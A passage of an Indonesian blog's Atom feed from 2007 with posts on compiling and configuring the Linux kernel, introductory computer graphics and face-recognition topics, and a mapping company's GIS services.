memakan waktu lama, dan seperti telah diberitahukan&lt;br /&gt; diatas, sangat mungkin untuk menimbulkan kegagalan.&lt;br /&gt; Di direktori /usr/src/linux jalankan:&lt;br /&gt; make dep; make clean; make zImage.&lt;br /&gt; Perintah make dep : membaca file konfigurasi dan membentuk&lt;br /&gt; dependency tree. proses ini mengecek apa yang dikompile dan apa&lt;br /&gt; yang tidak.&lt;br /&gt; make clean : menghapus seluruh jejak kompilasi yang telah&lt;br /&gt; dilakukan sebelumnya. Ini memastikan agar tidak ada feature lama&lt;br /&gt; yang tersisa.&lt;br /&gt; make zImage : Kompilasi yang sesungguhnya. Jika tidak ada&lt;br /&gt; kesalahan akan terbentuk kernel terkompresi dan siap dikompilasi.&lt;br /&gt;&lt;br /&gt; Sebelum dikompile, modul-modul yang berhubungan perlu dikompile&lt;br /&gt; juga dengan make modules. Cek lokasi kernel, umumnya nama kernel&lt;br /&gt; dimulai dengan vmlinuz, biasanya ada di direktori&lt;br /&gt; /boot, atau buka /etc/lilo.conf untuk memastikannya. Di sini tidak&lt;br /&gt; akan dijelaskan secara mendetail langkah-langkah dalam mengompile&lt;br /&gt; kernel. Langkah-langkah ini dapat dilihat di banyak situs, salah&lt;br /&gt; satunya situs "bebas.vlsm.org/v09/onno-ind-1/ network/&lt;br /&gt; ppt-linux-ethernet-10-2000.ppt" yang dibuat oleh Onno W. Purbo&lt;br /&gt; dengan slide. Sebelum kernel modul diinstalasi, sebaiknya back up&lt;br /&gt; dulu modul lama. Keuntungan memback-up modul lama adalah bila&lt;br /&gt; nanti modul baru tidak berjalan baik, maka modul lama bisa&lt;br /&gt; digunakan lagi dengan menghapus modul baru. Setelah tahap ini&lt;br /&gt; selesai, jalankan lilo, reboot sistem dan lihat hasilnya.&lt;br /&gt;&lt;br /&gt;3. Konfigurasi Kernel&lt;br /&gt; Konfigurasi kernel adalah tahap terpenting yang menentukan&lt;br /&gt; kualitas sebuah kernel. Mana yang harus diikutkan, dan mana yang&lt;br /&gt; harus ditinggal sesuai tuntutan hardware dan keperluan.&lt;br /&gt;&lt;br /&gt; Konfigurasi dimulai dari directori /usr/src/linux. Ada tiga cara:&lt;br /&gt; - make config, berupa text base interface, cocok untuk user yang&lt;br /&gt;   memiliki terminal mode lama dan tidak memiliki setting termcap.&lt;br /&gt; - make menuconfig, berupa text base juga tapi memiliki puldown&lt;br /&gt;   menu berwarna, digunakan untuk user yang memiliki standar&lt;br /&gt;   console.&lt;br /&gt; - make xconfig, interface menggunakan layar grafik penuh, untuk&lt;br /&gt;   user yang sudah memiliki X Window.&lt;br /&gt;&lt;br /&gt; Ada sekitar 14 menu pilihan dimulai dari Code maturity level&lt;br /&gt; options sampai kernel hacking. Masing-masing memiliki submenu bila&lt;br /&gt; dipilih dan pilihan yes(y), module(m), atau no(n). Setiap pilihan&lt;br /&gt; dimuat/kompile ke dalam kernel akan memperbesar ukuran kernel.&lt;br /&gt; Karena itu pilih feature-feature yang sering digunakan atau&lt;br /&gt; jadikan module untuk feature yang tidak sering digunakan. Dan&lt;br /&gt; jangan memasukkan feature-feature yang tidak dibutuhkan. Setelah&lt;br /&gt; selesai melakukan pilihan konfigurasi, simpanlah sebelum keluar&lt;br /&gt; dari layar menu konfigurasi.&lt;br /&gt;&lt;br /&gt;4. Patch Kernel&lt;br /&gt; Setiap dikeluarkan kernel versi terbaru juga dikeluarkan sebuah&lt;br /&gt; file patch. File patch ini jauh lebih kecil dari file source&lt;br /&gt; kernel sehingga jauh lebih cepat bila digunakan untuk upgrade&lt;br /&gt; kernel.File ini hanya bekerja untuk mengupgrade satu versi kernel&lt;br /&gt; dibawahnya. Misalnya, versi kernel 2.4.19 hanya bisa diupgrade&lt;br /&gt; dengan file patch 2.4.20 menjadi kernel 2.4.20. Umumnya file patch&lt;br /&gt; ini tersedia pada direktori yang sama di FTP dan website yang&lt;br /&gt; menyediakan source kernel. File-file patch tersedia dalam&lt;br /&gt; format .gz&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7097738853961033154?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7097738853961033154/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7097738853961033154' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7097738853961033154'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7097738853961033154'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/compiler.html' title='CompiLer'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eTjLkcqj9WM/RyrwWyIobtI/AAAAAAAAACY/atrdOnZwyj0/s72-c/images.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8041861870046018326</id><published>2007-10-23T00:55:00.000-07:00</published><updated>2007-10-23T02:12:15.057-07:00</updated><title type='text'>Grafika Komputer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://images.google.co.id/imgres?imgurl=http://www2.arnes.si/~osngso3s/art2003/Slo_svtrojica/svet_prijateljstva.gif&amp;imgrefurl=http://www2.arnes.si/~osngso3s/art2003/Slo_svtrojica/nejc_svtrojica2.htm&amp;h=504&amp;w=360&amp;sz=19&amp;hl=id&amp;start=4&amp;tbnid=WoyfTwAFUeSXIM:&amp;tbnh=130&amp;tbnw=93&amp;prev=/images%3Fq%3DGrafika%2Bcomputer%26gbv%3D2%26svnum%3D10%26hl%3Did%26sa%3DG"&gt;&lt;img src="http://images.google.co.id/imgres?imgurl=http://www2.arnes.si/~osngso3s/art2003/Slo_svtrojica/svet_prijateljstva.gif&amp;imgrefurl=http://www2.arnes.si/~osngso3s/art2003/Slo_svtrojica/nejc_svtrojica2.htm&amp;h=504&amp;w=360&amp;sz=19&amp;hl=id&amp;start=4&amp;tbnid=WoyfTwAFUeSXIM:&amp;tbnh=130&amp;tbnw=93&amp;prev=/images%3Fq%3DGrafika%2Bcomputer%26gbv%3D2%26svnum%3D10%26hl%3Did%26sa%3DG" border="0" alt="" /&gt;&lt;/a&gt; &lt;span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;(Artikel.1)&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt; Grafika komputer 3D&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/_eTjLkcqj9WM/Rx2wSh79sRI/AAAAAAAAACQ/eSRAt_r7dAA/s400/mas00000.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5124445783411503378" /&gt;&lt;br /&gt;&lt;br /&gt;Grafika komputer 3D (Inggris: 3D Computer graphics) adalah representasi dari data geometrik 3 dimensi sebagai hasil dari pemrosesan dan pemberian efek cahaya terhadap grafika komputer 2D. Hasil ini kadang kala ditampilkan secara waktu nyata (real time) untuk keperluan simulasi. Secara umum prinsip yang dipakai adalah mirip dengan grafika komputer 2D, dalam hal: penggunaan algoritma, grafika vektor, model frame kawat (wire frame model), dan grafika rasternya.&lt;br /&gt;&lt;br /&gt;Grafika komputer 3D sering disebut sebagai model 3D. Namun, model 3D ini lebih menekankan pada representasi matematis untuk objek 3 dimensi. Data matematis ini belum bisa dikatakan sebagai gambar grafis hingga saat ditampilkan secara visual pada layar komputer atau printer. Proses penampilan suatu model matematis ke bentuk citra 2 D biasanya dikenal dengan proses 3D rendering.&lt;br /&gt;&lt;br /&gt;Bagian dari grafika komputer meliputi:&lt;br /&gt;Geometri: mempelajari cara menggambarkan permukaan bidang&lt;br /&gt;Animasi: mempelajari cara menggambarkan dan memanipulasi gerakan&lt;br /&gt;Rendering: mempelajari algoritma untuk menampilkan efek cahaya&lt;br /&gt;Citra (Imaging): mempelajari cara pengambilan dan penyuntingan gambar.&lt;br /&gt;http://id.wikipedia.org/wiki/Grafika_komputer_3D&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;(Artikel.2)&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;Grafika Komputer - Teori dan Implementasi&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;Book Category : Desain Grafis&lt;br /&gt;ISBN 979-763-068-4&lt;br /&gt;&lt;br /&gt;Author: Achmad Basuki, Nana Ramadijanti&lt;br /&gt;&lt;br /&gt;Grafika komputer akhir-akhir ini mulai dirasa sangat penting dan mencakup hampir semua bidang kehidupan seiring dengan semakin pentingnya sistem komputer dalam berbagai kegiatan. Grafika komputer merupakan gambar atau grafik yang dihasilkan oleh komputer. Teknik-teknik yang dipelajari dalam grafika komputer adalah teknik-teknik bagaimana membuat atau menciptakan gambar dengan menggunakan komputer. Ada beberapa program, dari yang sederhana sampai program yang sangat kompleks, yang dapat digunakan untuk membuat gambar komputer, antara lain Paint, Microsoft Photo Editor, Adobe Photoshop, Maya, Autocad, 3D Space Max, dan lain-lain.&lt;br /&gt;&lt;br /&gt;Buku ini membahas:&lt;br /&gt;? Materi grafika komputer&lt;br /&gt;? Primitive drawing&lt;br /&gt;? Grafik 2 dimensi dan 3 dimensi&lt;br /&gt;? Transformasi objek&lt;br /&gt;? Membuat Grafik 3D yang lebih baik&lt;br /&gt;? Shading dan optical view&lt;br /&gt;? Morphing&lt;br /&gt;&lt;br /&gt;http://www.andipublisher.com&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;(Artikel.3) &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;PENGENALAN WAJAH(FACE RECOGNITION)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pengenalan wajah adalah merupakan suatu pengenalan pola (pattern recognition) yang khusus untuk kasus wajah. Ini dapat dideskripsikan sebagai pengklasifikasian suatu wajah apakah dikenali (known) atau tidak dikenali (unknown), dimana setelah dibandingkan kemudian disimpan secara tersendiri. Beberapa pendekatan untuk pengenalan obyek dan grafika komputer didasarkan secara langsung pada citra-citra tanpa penggunaan model 3D. Banyak dari teknik ini tergantung pada suatu representasi citra yang membentuk suatu struktur ruang vektor, dan dalam prinsip ini memerlukan korespondensi yang padat. Pendekatan appearance-based kebanyakan digunakan untuk pengenalan wajah. Pada metode ini, model wajah dipelajari melalui proses training dengan menggunakan satu set data pelatihan yang berisi contoh-contoh wajah. Kemudian hasil training ini digunakan untuk pengenalan wajah. Secara umum metode ini menggunakan teknik-teknik analisis statistik dan mesin pembelajaran (machine learning) untuk menemukan karakteristik-karakteristik yang sesuai dari wajah maupun non-wajah. Yang termasuk dalam kelompok ini adalah : Eigenfaces, distribution-based dan clustering, jaringan syaraf tiruan, SVM (Support VectorMmachine), dll.&lt;br /&gt;&lt;br /&gt;Tiga pengklasifikasi linear appearance-based adalah PCA, ICA and LDA. Tiap pengklasifikasi mempunyai representasi (vector basis) tersendiri dari suatu ruang space vector wajah dengan dimensi tinggi didasarkan pada titik pandang secara statistik yang berbeda. Melalui proyeksi vector wajah ke vector basis, koefisien proyeksi digunakan sebagai representasi fitur tiap citra wajah. Nilai matching diantara citra wajah tes dan pelatihan dihitung (sebagai contoh sudut nilai cosine) diantara vector-vector koefisien. Ketiga representasi dapat dianggap sebagai suatu transformasi linier dari vector citra asli ke suatu vector fitur proyeksi.&lt;br /&gt;&lt;br /&gt;Proyeksi citra ke dalam ruang eigen (eigenspace) merupakan suatu prosedur standar untuk beberapa algoritma pengenalan obyek yang didasarkan pada tampilan (appearance-based). Penelitian dasar tentang proyeksi eigenspace pertama kali dilakukan oleh Michael Kirby yang memperkenalkan tentang ide karakteristikasi dimensi rendah suatu wajah. Turk and Pentland menggunakan proyeksi eigenspace untuk pengenalan wajah. Eigenspace dihitung melalui identifikasi eigenvector dari matriks kovariansi yang diturunkan dari suatu himpunan citra pelatihan (Turk and Pentland,1991)&lt;br /&gt;&lt;br /&gt;Proyeksi ruang eigen (eigenspace) juga dikenal sebagai Karhunen-Loeve (KL) atau juga dinamakan dengan Principal Component Analysis (PCA). Algoritma eigenface memanfaatkan Principal Component Analysis (PCA) untuk mereduksi dimensinya guna menemukan vector-vektor yang mempunyai nilai terbaik untuk distribusi citra wajah didalam ruang citra masukan. Vektor ini mendefinsikan subruang dari citra-citra wajah dan subruang tersebut dinamakan ruang wajah. Semua wajah-wajah dalam himpunan pelatihan diproyeksikan ke dalam ruang wajah untuk menemukan suatu himpunan bobot-bobot yang mendeskripsikan kontribusi dari tiap vector dalam ruang wajah. Untuk identifikasi suatu citra uji, membutuhkan proyeksi suatu citra ke dalam ruang wajah untuk menentukan korespondensi kumpulan bobot-bobot. Dengan membandingkan kumpulan bobot-bobot wajah dalam training set, Pengujian citra dapat diidentifikasi. Prosedur kunci dalam PCA didasarkan pada tranformasi Karhumen-Loeve. Jika elemen-elemen citra dianggap sebagai variable-variabel random, citra mungkin dilihat sebagai sample suatu proses stokastik.&lt;br /&gt;&lt;br /&gt;Ide utama principal component analysis adalah menemukan vektor dengan nilai terbaik untuk distribusi citra wajah dalam seluruh ruang citra. Vektor-vektor ini mendefinisikan subruang citra wajah atau biasa disebut dengan nama ruang wajah. Tiap vektor dengan panjang N2, mendsikripsikan citra dengan ukuran N x N, yang merupakan suatu kombinasi linier dari citra wajah asli (Atalay,1996).&lt;br /&gt;www.google.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;(Artikel.4) &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;Visualisasi&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Visualisasi saat terjadi tabrakan mobil dengan menggunakan analisa elemen&lt;br /&gt;&lt;br /&gt;Visualisasi (Inggris: visualization) adalah rekayasa dalam pembuatan gambar, diagram atau animasi untuk penampilan suatu informasi. Secara umum, visualisasi dalam bentuk gambar baik yang bersifat abstrak maupun nyata telah dikenal sejak awal dari peradaban manusia. Contoh dari hal ini meliputi lukisan di dinding-dinding gua dari manusia purba, bentuk huruf hiroglip Mesir, sistem geometri Yunani, dan teknik pelukisan dari Leonardo da Vinci untuk tujuan rekayasa dan ilmiah, dll.&lt;br /&gt;&lt;br /&gt;Pada saat ini visualisasi telah berkembang dan banyak dipakai untuk keperluan ilmu pengetahuan, rekayasa, visualisasi disain produk, pendidikan, multimedia interaktif, kedokteran, dll. Pemakaian dari grafika komputer merupakan perkembangan penting dalam dunia visualisasi, setelah ditemukannya teknik garis perspektif pada zaman Renaissance. Perkembangan bidang animasi juga telah membantu banyak dalam bidang visualisasi yang lebih kompleks dan canggih.&lt;br /&gt;www.google.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;(Artikel.5) &lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;strong&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;IMPLEMENTASI GRAFIKA KOMPUTER BERBASIS VISUAL INTERAKTIF UNTUK GERAK BENDA DAN GELOMBANG PADA FISIKA&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;Grafika komputer atau dalam bahasa inggris Computer Graphics dapat diartikan sebagai seperangkat alat yang terdiri dari hardware dan software untuk membuat gambar, grafik atau citra realistic untuk seni, game komputer, foto, dan film animasi.&lt;br /&gt;&lt;br /&gt;Dewasa ini, grafika komputer sudah banyak digunakan sebagai materi pendukung dalam berbagai bidang, pada tugas akhir ini penulis menganalisis tentang implementasi grafika komputer dengan menggunakan aplikasi perangkat lunak berbasis visual interaktif untuk gerak benda dan gelombang pada fisika yang meliputi gerak melingkar, gerak satelit, gerak peluru, gelombang transversal, dan gelombang sinusoida.&lt;br /&gt;&lt;br /&gt;Implementasi grafika komputer yang diaplikasikan pada program simulasi berbasis visual interaktif untuk gerak benda dan gelombang pada fisika diharapkan dapat membantu dalam proses belajar, dan mempercepat pemahaman dalam mempelajari tentang gerak benda dan gelombang yang selama ini masih dilakukan dengan cara yang konvensional yaitu dengan gambar dan juga diharapkan dapat meningkatkan daya minat belajar karena cara yang dipakai dalam perangkat lunak ini lebih menarik dengan fasilitas menu yang sederhana..&lt;br /&gt;http://digilib.unikom.ac.id&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8041861870046018326?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8041861870046018326/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8041861870046018326' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8041861870046018326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8041861870046018326'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/10/grafika-komputer.html' title='Grafika Komputer'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eTjLkcqj9WM/Rx2wSh79sRI/AAAAAAAAACQ/eSRAt_r7dAA/s72-c/mas00000.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7939078833890221561</id><published>2007-09-27T07:41:00.000-07:00</published><updated>2007-09-27T08:04:34.371-07:00</updated><title type='text'>SURVAI, TERESTRIS, &amp; PEMETAAN DIGITAL</title><content type='html'>&lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:100%;"&gt;&lt;u&gt;&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:100%;"&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;img style="width: 930px; height: 705px;" src="http://www.geocomputation.org/2000/Gc035/GC035_14.JPG" /&gt;&lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;seiring dengan kegiatan perencanaan, studi, analisis, serta kebutuhan lain.  Sehingga dibutuhkan ketersediaan serta penyajian data peta secara cepat, tepat  dan akurat. &lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Untuk mengantisipasi permasalan tersebut,  dengan didukung oleh perkembangan tehnologi komputer, PT. ENVICON mengembangkan  pelayanan pemetaan digital, mulai dari pemasukan data analog (digitasi),  updating data sampai penyajiannya dalam bentuk peta cetak maupun program  aplikasi sistem informasi geografis. Software pemetaan yang digunakan  disesuaikan dengan kebutuhan pengguna jasa pada umumnya, yaitu software  ARC/Info, ArcView, AutoCAD Map dan MapInfo.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Selain pemetaan digital, PT. ENVICON juga  melayani jasa pemetaan terestris untuk tata batas kawasan, survei lapangan,  pemasangan titik referensi dan kegiatan lapangan lainnya.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Bidang Penginderaan Jauh (Remote Sensing) dan  aplikasi Sistem Informasi Geografis (GIS) merupakan salah satu spesialisasi PT.  ENVICON. Pada bidang ini digunakan beberapa program pendukung aplikasi antara  lain ARC/Info, ArcView, MapInfo dan ER Mapper. Selain kelengkapan prasarana  teknis, didukung pula oleh staf ahli multi-displin ilmu pengetahuan dan  spesialisasi sehingga memungkinkan PT. ENVICON untuk melaksanakan pekerjaan  aplikasi GIS pada sektor kehutanan, pertanian, perkebunan, transmigrasi &amp;amp;  perencanaan wilayah, maupun pekerjaan umum.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;&lt;b&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:100%;"&gt;&lt;u&gt;Data&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt; &lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:100%;"&gt;&lt;b&gt;&lt;u&gt;Analog dan  Digital&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Khusus untuk kegiatan perolehan dan  pengolahan data penginderaan jauh, PT. ENVICON saat ini bermitra dengan beberapa  perusahaan lain sebagai distributor data digital di Indonesia untuk melayani  segala kebutuhan akan data digital seperti; Citra Satelit Landsat, IKONOS, SPOT,  Radarsat maupun Foto Udara Format Kecil. Selain data citra, PT. ENVICON juga  memiliki koleksi data digital perupa peta rupabumi maupun peta-peta tematik  lainnya, seperti berikut.&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Peta Topografi skala 1:250.000 untuk  seluruh Indonesia, berupa data spasial dan atributnya sampai tingkat desa,  termasuk data kontur.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Peta RBI skala 1:50.000 untuk sebagian  wilayah Indonesia.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Peta Areal HPH/HTI Skala 1:50.000 pulau  Sumaerta, Kalimantan, dan Sulawesi.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Peta Padu-serasi Skala 1:50.000 untuk  sebagian wilayah Indonesia.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Peta Kontur dalam bentuk digital beberapa  propinsi, skala 1:25.000 - 1:50.000.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Data Digital Landsat 7-TM beberapa wilayah  spot di pulau Sulawesi, Kalimantan, dan Sumatera.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Data DKI Jakarta skala 1:5.000.&lt;/span&gt;  &lt;/li&gt;&lt;li&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Digital Elevation Model (DEM)  Indonesia.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:100%;"&gt;&lt;b&gt;&lt;u&gt;Software GIS  &lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;(Dukungan Operasional dan  Pelatihan)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Produk ESRI dan MapInfo  sangat populer di Indonesia. Selain (mungkin) karena mudah dalam pengoperasian,  menu, dan utility yang tersedia, kedua produk tersebut juga mempunyai kelebihan  dalam konversi menjadi format GIS umum lainnya. Kedua software tersebut dapat  digunakan untuk menampilkan data, memasukkan data dan menghasilkan data cetak  maupun digital. Semua data spasial maupun data tabuler dapat diolah dengan  keduanya dengan catatan data tersebut sudah berupa data digital. Untuk kebutuhan  analisis GIS, seperti tumpang susun peta beserta atributnya, software yang biasa  digunakan adalah ARC Info. Selain tenaga ahli yang telah mengenal dengan baik  ARC info, juga disebabkan software ini memiliki kemampuan analisis yang lebih  kompleks dibandingkan dengan Software GIS lainnya.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Verdana, Arial, Helvetica, sans-serif;font-size:100%;"&gt;&lt;b&gt;&lt;u&gt;Program  Aplikasi &amp;amp; Sistem Informasi&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Dalam era globalisasi, sistem informasi  mempunyai peranan penting dalam persaingan yang membutuhkan pertukaran data  secara cepat, tepat, dan akurat. PT. ENVICON selalu mengikuti perkembangan  sistem informasi baik melalui jurnal, buletin, maupun jaringan  internet.&lt;br /&gt;Dengan didukung tenaga profesional dalam bidang sistem dan  pengembangan informasi, PT. ENVICON memberikan pelayanan dalam berbagai bidang  sistem informasi, termasuk studi dan pelaksanaan perencanaan, studi aplikasi dan  pelatihan, rancangan sebuah sistim, serta memberikan dukungan software maupun  hardware yang dibutuhkan.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-family:Trebuchet MS;font-size:85%;"&gt;Salah satu bentuk pengembangan bidang ini  adalah pembuatan program aplikasi berbasis sistem informasi database maupun  sistem informasi geografis (GIS), bahkan penggabungan kedua sistem tersebut  dalam sebuah sistem informasi database berbasis GIS. Aplikasi sistem informasi  yang dikembangkan harus memenuhi kebutuhan spesifik untuk perencanaan,  pengawasan, manajemen, pengelolaan, dan evaluasi kegiatan yang dilaksanakan.  Programer, sistem analis, ahli database yang didukung oleh operator komputer  yang handal dan berpengalaman, merupakan salah satu keunggulan PT. ENVICON dalam  lingkup pekerjaan sistem informasi.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Trebuchet MS;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7939078833890221561?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7939078833890221561/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7939078833890221561' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7939078833890221561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7939078833890221561'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/survai-terestris-pemetaan-digital.html' title='SURVAI, TERESTRIS, &amp; PEMETAAN DIGITAL'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-908044322287212656</id><published>2007-09-27T07:30:00.000-07:00</published><updated>2007-09-27T07:38:39.356-07:00</updated><title type='text'>Kemampuan dan kelebihan GIS</title><content type='html'>&lt;div class="post"&gt; &lt;h3 class="storytitle"&gt;&lt;a title="Permanent Link: Kemampuan dan kelebihan GIS" href="http://gis.blogsome.com/2007/06/29/kemampuan-dan-kelebihan-gis/" rel="bookmark"&gt;&lt;img src="http://www.esri.com/software/arcgis/graphics/model_result-lg.jpg" height="596" width="775" /&gt;&lt;/a&gt;&lt;/h3&gt; &lt;div class="meta"&gt;29 June 2007&lt;/div&gt; &lt;div 